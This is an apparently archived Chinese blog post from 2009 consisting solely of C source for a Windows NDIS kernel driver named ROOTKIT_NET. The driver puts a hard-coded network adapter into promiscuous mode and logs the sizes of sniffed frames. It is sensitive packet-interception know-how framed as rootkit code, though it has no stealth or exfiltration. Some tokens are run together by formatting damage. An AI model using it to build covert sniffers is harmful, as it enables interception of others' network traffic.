---
title: "系统底层ROOKIT拦截网络数据"
author: "winzenghua"
date: "2009-06-26T11:31:00Z"
tags: []
slug: "rookit"
draft: false
lastmod: "2009-06-26T11:31:00Z"
id: 948122
url: "https://java4gis.iteye.com/blog/948122"
---

#include "ntddk.h"

// important!! place this before ndis.h  
#define NDIS401

#include "ndis.h"  
#include "stdio.h"

//////////////////////////////////////////////  
// prototypes for all our network callbacks  
//////////////////////////////////////////////  
VOID OnOpenAdapterDone( IN NDIS\_HANDLE ProtocolBindingContext, IN NDIS\_STATUS Status, IN NDIS\_STATUS OpenErrorStatus );  
VOID OnCloseAdapterDone( IN NDIS\_HANDLE ProtocolBindingContext, IN NDIS\_STATUS Status );  
VOID OnSendDone( IN NDIS\_HANDLE ProtocolBindingContext, IN PNDIS\_PACKET pPacket, IN NDIS\_STATUS Status );  
VOID OnTransferDataDone( IN NDIS\_HANDLE ProtocolBindingContext, IN PNDIS\_PACKET Packet, IN NDIS\_STATUS Status, IN UINT BytesTransferred );  
VOID OnResetDone( IN NDIS\_HANDLE ProtocolBindingContext, IN NDIS\_STATUS Status );  
VOID OnRequestDone( IN NDIS\_HANDLE ProtocolBindingContext, IN PNDIS\_REQUEST pRequest, IN NDIS\_STATUS Status );  
NDIS\_STATUS OnReceiveStub ( IN NDIS\_HANDLE ProtocolBindingContext, IN NDIS\_HANDLE MacReceiveContext, IN PVOID HeaderBuffer, IN UINT HeaderBufferSize, IN PVOID LookAheadBuffer, IN UINT LookaheadBufferSize, IN UINT PacketSize );  
VOID OnReceiveDoneStub( IN NDIS\_HANDLE ProtocolBindingContext );  
VOID OnStatus( IN NDIS\_HANDLE ProtocolBindingContext, IN NDIS\_STATUS Status, IN PVOID StatusBuffer, IN UINT StatusBufferSize );  
VOID OnStatusDone( IN NDIS\_HANDLE ProtocolBindingContext );  
VOID OnBindAdapter( OUT PNDIS\_STATUS theStatus, IN NDIS\_HANDLE theBindContext, IN PNDIS\_STRING theDeviceNameP, IN PVOID theSS1, IN PVOID theSS2 );  
VOID OnUnbindAdapter( OUT PNDIS\_STATUS theStatus, IN NDIS\_HANDLE theBindContext, IN PNDIS\_HANDLE theUnbindContext );  
VOID OnUnload( IN PDRIVER\_OBJECT DriverObject );

NDIS\_STATUSOnPNPEvent( IN NDIS\_HANDLEProtocolBindingContext,  
IN PNET\_PNP\_EVENTpNetPnPEvent);

VOID OnProtocolUnload( VOID );  
INT OnReceivePacket( INNDIS\_HANDLEProtocolBindingContext,  
INPNDIS\_PACKETPacket );

struct UserStruct  
{  
ULONGmData;  
} gUserStruct;

// handle to the open network adapter  
NDIS\_HANDLEgAdapterHandle;  
NDIS\_HANDLEgNdisProtocolHandle;  
NDIS\_EVENTgCloseWaitEvent;

NTSTATUS DriverEntry( IN PDRIVER\_OBJECT theDriverObject, IN PUNICODE\_STRING theRegistryPath )  
{  
UINTaMediumIndex = 0;  
NDIS\_STATUSaStatus, anErrorStatus;  
NDIS\_MEDIUM aMediumArray=NdisMedium802\_3;// we only try 802.3  
UNICODE\_STRINGanAdapterName;  
NDIS\_PROTOCOL\_CHARACTERISTICSaProtocolChar;  
NDIS\_STRINGaProtoName = NDIS\_STRING\_CONST("ROOTKIT\_NET");

DbgPrint("ROOTKIT Loading...");

/////////////////////////////////////////////////////////////////////////  
// Very Important !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
// Hard code this binding string to the adapter you wish to sniff  
//  
// obtain this from the registry:  
// HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards  
// -or-  
// HKLM\\SYSTEM\\CurrentControlSet\\Services\\TcpIp\\Linkage  
//  
//  
/*  
On my system I have the following linkages:

\\Device\\{6C0B978B-812D-4621-A30B-FD72F6C446AF}ORiNOCO Wireless LAN PC Card (5 volt)  
\\Device\\{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}  
\\Device\\{5436B920-2709-4250-918D-B4ED3BB8CF9A}Dell TrueMobile 1150 Series Wireless LAN Mini PCI Card  
\\Device\\{5A6C6428-C5F2-4BA5-A469-49F607B369F2}1394 Net Adapter  
\\Device\\{357AC276-D8E7-47BF-954D-F3123D3319BD}3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)  
\\Device\\{6D615BDB-A6C2-471D-992E-4C0B431334F1}1394 Net Adapter  
\\Device\\{83EE41D0-5088-4CC7-BC99-CEA55D5662D2}3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)  
\\Device\\NdisWanIp  
\\Device\\{147E65D7-4065-4249-8679-F79DB39CFC27}  
\\Device\\{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}  
\*/  
//  
// the format of the string is \\Device\\{GUID}  
/////////////////////////////////////////////////////////////////////////  
RtlInitUnicodeString( &anAdapterName, L"[\\\\Device\\\\{A8500B8B-59F6-4215-90FA-80811CF765A4]()}" );

// init sync event for close  
NdisInitializeEvent(&gCloseWaitEvent);

//\_\_asm int 3

theDriverObject-&gt;DriverUnload = OnUnload;

////////////////////////////////////////////////////////////////  
// init network sniffer - this is all standard and  
// documented in the DDK.  
////////////////////////////////////////////////////////////////  
RtlZeroMemory( &aProtocolChar,  
sizeof(NDIS\_PROTOCOL\_CHARACTERISTICS));  
aProtocolChar.MajorNdisVersion = 4;  
aProtocolChar.MinorNdisVersion = 0;  
aProtocolChar.Reserved = 0;  
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;  
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;  
aProtocolChar.SendCompleteHandler = OnSendDone;  
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;

aProtocolChar.ResetCompleteHandler = OnResetDone;  
aProtocolChar.RequestCompleteHandler = OnRequestDone;

aProtocolChar.ReceiveHandler = OnReceiveStub;  
aProtocolChar.ReceiveCompleteHandler = OnReceiveDoneStub;  
aProtocolChar.StatusHandler = OnStatus;  
aProtocolChar.StatusCompleteHandler = OnStatusDone;

aProtocolChar.Name = aProtoName;

aProtocolChar.BindAdapterHandler = OnBindAdapter;  
aProtocolChar.UnbindAdapterHandler = OnUnbindAdapter;  
aProtocolChar.UnloadHandler = OnProtocolUnload;

aProtocolChar.ReceivePacketHandler = OnReceivePacket;  
aProtocolChar.PnPEventHandler = OnPNPEvent;

DbgPrint("ROOTKIT: Registering NDIS Protocol\\n");

// we have to register a protocol before we can bind to the  
// MAC  
NdisRegisterProtocol(&aStatus,  
&gNdisProtocolHandle,  
&aProtocolChar,  
sizeof(NDIS\_PROTOCOL\_CHARACTERISTICS));

if (aStatus != NDIS\_STATUS\_SUCCESS)  
{  
char \_t\[255];  
\_snprintf(\_t, 253, "DriverEntry: ERROR NdisRegisterProtocol failed with error 0x%08X", aStatus);  
DbgPrint(\_t);  
return aStatus;  
}

// NdisOpenAdapter opens a connection between the protocol  
// and the physical adapter (MAC layer)  
NdisOpenAdapter(  
&aStatus,// return code  
&anErrorStatus,// return code  
&gAdapterHandle,// returns a handle to the binding  
&aMediumIndex,// ptr to int which is an  
// index into a 'medium' array - indicates what  
// the MAC should be 'viewed' as  
&aMediumArray,// array of 'medium' types  
1,// number of elements in the 'medium' array  
gNdisProtocolHandle,// the handle returned from NdisRegisterProtocol  
&gUserStruct,// ptr to a user controlled structure, this is up to the programmer  
&anAdapterName,// name of the adapter to be opened  
0,// bit mask of options  
NULL);// ptr to additional info to pass to MacOpenAdapter

if (aStatus != NDIS\_STATUS\_PENDING)  
{  
if(FALSE == NT\_SUCCESS(aStatus))  
{  
/////////////////////////////////////////////////////////////////////////////////  
// something bad happened, close everything down  
/////////////////////////////////////////////////////////////////////////////////  
char \_t\[255];  
\_snprintf(\_t, 253, "ROOTKIT: NdisOpenAdapter returned an error 0x%08X", aStatus);  
DbgPrint(\_t);

// helpful hint  
if(NDIS\_STATUS\_ADAPTER\_NOT\_FOUND == aStatus)  
{  
DbgPrint("NDIS\_STATUS\_ADAPTER\_NOT\_FOUND");  
}

// Remove the protocol or suffer a BSOD!  
NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle);  
if(FALSE == NT\_SUCCESS(aStatus))  
{  
DbgPrint("DeregisterProtocol failed!");  
}

// use for winCE -- NdisFreeEvent(gCloseWaitEvent);

return STATUS\_UNSUCCESSFUL;  
}  
else  
{  
OnOpenAdapterDone(  
&gUserStruct,  
aStatus,  
NDIS\_STATUS\_SUCCESS  
);  
}  
}

return STATUS\_SUCCESS;  
}

VOID OnUnload( IN PDRIVER\_OBJECT DriverObject )  
{  
NDIS\_STATUS Status;

DbgPrint("ROOTKIT: OnUnload called\\n");

NdisResetEvent(&gCloseWaitEvent);

NdisCloseAdapter(  
&Status,  
gAdapterHandle);

// we must wait for this to complete  
// ---------------------------------  
if(Status == NDIS\_STATUS\_PENDING)  
{  
DbgPrint("rootkit: OnUnload: pending wait event\\n");  
NdisWaitEvent(&gCloseWaitEvent, 0);  
}

NdisDeregisterProtocol( &Status, gNdisProtocolHandle);  
if(FALSE == NT\_SUCCESS(Status))  
{  
DbgPrint("DeregisterProtocol failed!");  
}

// use for winCE -- NdisFreeEvent(gCloseWaitEvent);

DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\\n");  
}

VOID  
OnOpenAdapterDone( IN NDIS\_HANDLE ProtocolBindingContext,  
IN NDIS\_STATUS Status,  
IN NDIS\_STATUS OpenErrorStatus )  
{  
NDIS\_REQUEST anNdisRequest;  
NDIS\_STATUS anotherStatus;  
ULONG aMode = NDIS\_PACKET\_TYPE\_PROMISCUOUS;

DbgPrint("ROOTKIT: OnOpenAdapterDone called\\n");

if(NT\_SUCCESS(OpenErrorStatus))  
{  
// put the card into promiscuous mode  
anNdisRequest.RequestType = NdisRequestSetInformation;  
anNdisRequest.DATA.SET\_INFORMATION.Oid = OID\_GEN\_CURRENT\_PACKET\_FILTER;  
anNdisRequest.DATA.SET\_INFORMATION.InformationBuffer = &aMode;  
anNdisRequest.DATA.SET\_INFORMATION.InformationBufferLength = sizeof(ULONG);

NdisRequest(&anotherStatus,  
gAdapterHandle,  
&anNdisRequest  
);  
}  
else  
{  
char \_t\[255];  
\_snprintf(\_t, 252, "OnOpenAdapterDone called with error code 0x%08X", OpenErrorStatus);  
DbgPrint(\_t);  
}  
}

VOID  
OnCloseAdapterDone( IN NDIS\_HANDLE ProtocolBindingContext,  
IN NDIS\_STATUS Status )  
{  
DbgPrint("ROOTKIT: OnCloseAdapterDone called\\n");

// sync with unload event  
NdisSetEvent(&gCloseWaitEvent);  
}

VOID  
OnSendDone( IN NDIS\_HANDLE ProtocolBindingContext,  
IN PNDIS\_PACKET pPacket,  
IN NDIS\_STATUS Status )  
{

DbgPrint("ROOTKIT: OnSendDone called\\n");  
}

VOID  
OnTransferDataDone ( IN NDIS\_HANDLE thePBindingContext,  
IN PNDIS\_PACKET thePacketP,  
IN NDIS\_STATUS theStatus,  
IN UINT theBytesTransfered )  
{  
DbgPrint("ROOTKIT: OnTransferDataDone called\\n");  
}

/* a packet has arrived \*/  
NDIS\_STATUS  
OnReceiveStub( IN NDIS\_HANDLE ProtocolBindingContext, /* our open structure \*/  
IN NDIS\_HANDLE MacReceiveContext,  
IN PVOID HeaderBuffer, /* ethernet header \*/  
IN UINT HeaderBufferSize,  
IN PVOID LookAheadBuffer, /* it is possible to have entire packet in here \*/  
IN UINT LookaheadBufferSize,  
UINT PacketSize )  
{  
char \_t\[255];  
UINT aFrameType = 0;

// report the frame type to the debugger  
memcpy(&aFrameType, ( ((char \*)HeaderBuffer) + 12), 2);  
\_snprintf(\_t, 253, "sniffed frame type %u, packetsize %u", aFrameType, PacketSize);  
DbgPrint(\_t);

// ignore everything  
return NDIS\_STATUS\_NOT\_ACCEPTED;  
}

VOID  
OnReceiveDoneStub( IN NDIS\_HANDLE ProtocolBindingContext )  
{  
DbgPrint("ROOTKIT: OnReceiveDoneStub called\\n");  
return;  
}

VOID  
OnStatus( IN NDIS\_HANDLE ProtocolBindingContext,  
IN NDIS\_STATUS Status,  
IN PVOID StatusBuffer,  
IN UINT StatusBufferSize )  
{  
DbgPrint("ROOTKIT: OnStatus called\\n");  
return;  
}

VOID  
OnStatusDone( IN NDIS\_HANDLE ProtocolBindingContext )  
{  
DbgPrint("ROOTKIT:OnStatusDone called\\n");  
return;  
}

VOID OnResetDone( IN NDIS\_HANDLE ProtocolBindingContext,  
IN NDIS\_STATUS Status )  
{  
DbgPrint("ROOTKIT: OnResetDone called\\n");  
return;  
}

VOID  
OnRequestDone( IN NDIS\_HANDLE ProtocolBindingContext,  
IN PNDIS\_REQUEST NdisRequest,  
IN NDIS\_STATUS Status )  
{  
DbgPrint("ROOTKIT: OnRequestDone called\\n");  
return;  
}

VOID OnBindAdapter(OUT PNDIS\_STATUS theStatus,  
IN NDIS\_HANDLE theBindContext,  
IN PNDIS\_STRING theDeviceNameP,  
IN PVOID theSS1,  
IN PVOID theSS2 )  
{  
DbgPrint("ROOTKIT: OnBindAdapter called\\n");  
return;  
}

VOID OnUnbindAdapter(OUT PNDIS\_STATUS theStatus,  
IN NDIS\_HANDLE theBindContext,  
IN PNDIS\_HANDLE theUnbindContext )  
{  
DbgPrint("ROOTKIT: OnUnbindAdapter called\\n");  
return;  
}

NDIS\_STATUSOnPNPEvent( IN NDIS\_HANDLEProtocolBindingContext,  
IN PNET\_PNP\_EVENTpNetPnPEvent)  
{  
DbgPrint("ROOTKIT: PtPnPHandler called");  
return NDIS\_STATUS\_SUCCESS;  
}

VOID OnProtocolUnload( VOID )  
{  
DbgPrint("ROOTKIT: OnProtocolUnload called");  
return;  
}

INT OnReceivePacket( INNDIS\_HANDLEProtocolBindingContext,  
INPNDIS\_PACKETPacket )  
{  
DbgPrint("ROOTKIT: OnReceivePacket called\\n");  
return 0;  
}